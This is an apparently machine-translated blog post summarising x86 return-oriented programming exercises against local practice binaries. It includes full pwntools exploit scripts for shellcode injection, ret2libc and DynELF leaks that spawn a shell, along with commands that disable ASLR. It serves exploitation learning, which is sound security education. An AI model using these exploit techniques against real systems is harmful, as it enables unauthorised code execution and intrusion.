Steamed rice ROP_X86 learning summary

Relevant accessories for steamed rice Interested in downloading

Learn some ROP notes of steamed rice and write a summary by yourself

What is ROP

The full name is return oriented programming. The core is to use the return instruction to control the execution order. As an advanced memory attack technology, it can bypass various simple defenses

About X86

Level1 (write shellcode on the stack)

ASLR of Linux system will randomize the address in memory and can be turned off first

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

When ida is opened, you will find a read function that can overflow the stack. Calculate the distance yourself

136 + 4 = 140

That is to say, after the shellcode is written, 140 is added, and then RET is written_ Address (that is, the memory address where the shellcode is located)

exp is as follows

#! /usr/bin/env python3

from pwn import *
context(os="linux", arch="i386")
p = process("./level1")

ret_address = ???

shellcode = asm(shellcraft.sh())
payload = shellcode + b'a'*(0x88+0x4-len(shellcode)) + p32(ret_address)
p.send(payload)
p.interactive()

But ret_ How to get the address? You can use gdb debugging to get it, but gdb debugging will change the buf address. The solution is to turn on code dump, which will cause segment errors (the core has been dumped)

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

You can use ulimit -c to check whether it is open. If the result is 0, it means failure. If the result returns unlimited, it means success

Then run the file

Get the core file

Then gdb debugging can get the address of shellcode

x/10s $esp-144 is obtained from the previous 140+4(ret)

If you fail the first time, ret's address should be wrong

You can find the core file once. The one with a large number is the new core file

You can get the shell

Level 2 (ret2libc bypasses NX) no ASLR

check and find that NX is turned on (the stack is not executable). If NX enabled is turned on, it means that the data in the stack does not have execution permission. In this way, when the attacker deploys his own shellcode on the stack and triggers it, it will only directly cause the program crash, but it can be bypassed by using rop

This program will call the dynamic library libc.so, and then ASLR is turned off. That is, we can get the address of system function and / bin/sh from it, and the address will not change. In this way, we can get these two things through gdb dynamic debugging

Use print to get the address of the system, and use find to find the address of the string

Now the breakpoint in main, and then the r program runs to load the libc library into memory

Then print and find can be used

exp is as follows

from pwn import *

p = process("./level2")


system_addr = 0xf7e0b830
binsh_addr = 0xf7f58352

payload = b'a'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)

p.send(payload)
p.interactive()

Level 2 (ret2libc bypasses NX) has ASLR

sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

Turn ASLR on

After opening, although the address is randomized when gdb looks up the address, the address of the program itself in memory is not random

You can use write to disclose the real address of write, and then subtract the distance in libc to get the offset of libc. Therefore, you can use the base address plus offset to get the address of system and / bin/sh

The distance between the write function and the system function in the libc dynamic library is the same after the link, that is, the offset is the same

Real address = base address of the function in libc + the same offset

However, there is no Fuda libc.so library for this question, so you can check it yourself through ldd and copy it to the desktop

gxh@gxh-Ubuntu:~/desktop $ ldd level2
	linux-gate.so.1 (0xf7ed7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cce000)
	/lib/ld-linux.so.2 (0xf7ed9000)
sudo cp /lib/i386-linux-gnu/libc.so.6 libc.so

exp is as follows

#! /usr/bin/env python3
from pwn import *

p = process("./level2")

elf=ELF('./level2')
libc=ELF('./libc.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
sh_libc = next(libc.search(b'/bin/sh'))

payload = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)

write_got_addr = u32(p.recv()[:4])

offset = write_got_addr - write_libc
sys_addr = offset + sys_libc
bin_sh_addr = offset + sh_libc

payload0 = b'a'*140 + p32(sys_addr) + p32(1) + p32(bin_sh_addr)
p.sendline(payload0)
p.interactive()

Level2 (do not get libc.so)

If you do not get libc.so

You can use the DynELF module to find the address of the system through memory leak. However, python 3 will report an error when using DynELF. To modify the file, you will say later

To search the memory of DynELF module, you first need a leak function, which can obtain at least 1 byte of data at a certain address

def leak(address):
    payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level2'))#Initialize DynELF module
sys_addr = d.lookup(b'system', 'libc')#Get address in memory

However, only the address of the system can be obtained through the DynELF module, but the address of the string "/ bin/sh" cannot be obtained. We can use read to write the string into the bss section. We can use ctrl+s in ida or the following commands in linux

readelf -S level2

Can also get

After writing the string to bss with read, you need to call the system function. You need to balance the stack. There are three parameters, pop three times, and then ret sys address

Here you can use ROPgadget to find this gadget

exp is as follows

#! /usr/bin/env python3
from pwn import *

p = process("./level2")

elf=ELF('./level2')
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = 0x0804A018
pppr = 0x080484bd

def leak(address):
    payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level2'))
sys_addr = d.lookup(b'system', 'libc')

payload0 = b'a'*140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload0 += p32(sys_addr) + p32(0) + p32(bss_addr)
p.sendline(payload0)
p.sendline(b'/bin/sh\x00')
p.interactive()

But Python 3 will report an error

If you read the report incorrectly, let's go in and change the file

vim /home/gxh/.local/lib/python3.8/site-packages/pwnlib/dynelf.py

Change e.symbols [symbol] to e.symbols [symbol. Decode()]

Then Esc enters: wq then press enter to save and exit

After success, it is as follows

Keywords: Python Linux Ubuntu Cyber Security

Added by smokey20 on Fri, 08 Oct 2021 21:43:59 +0300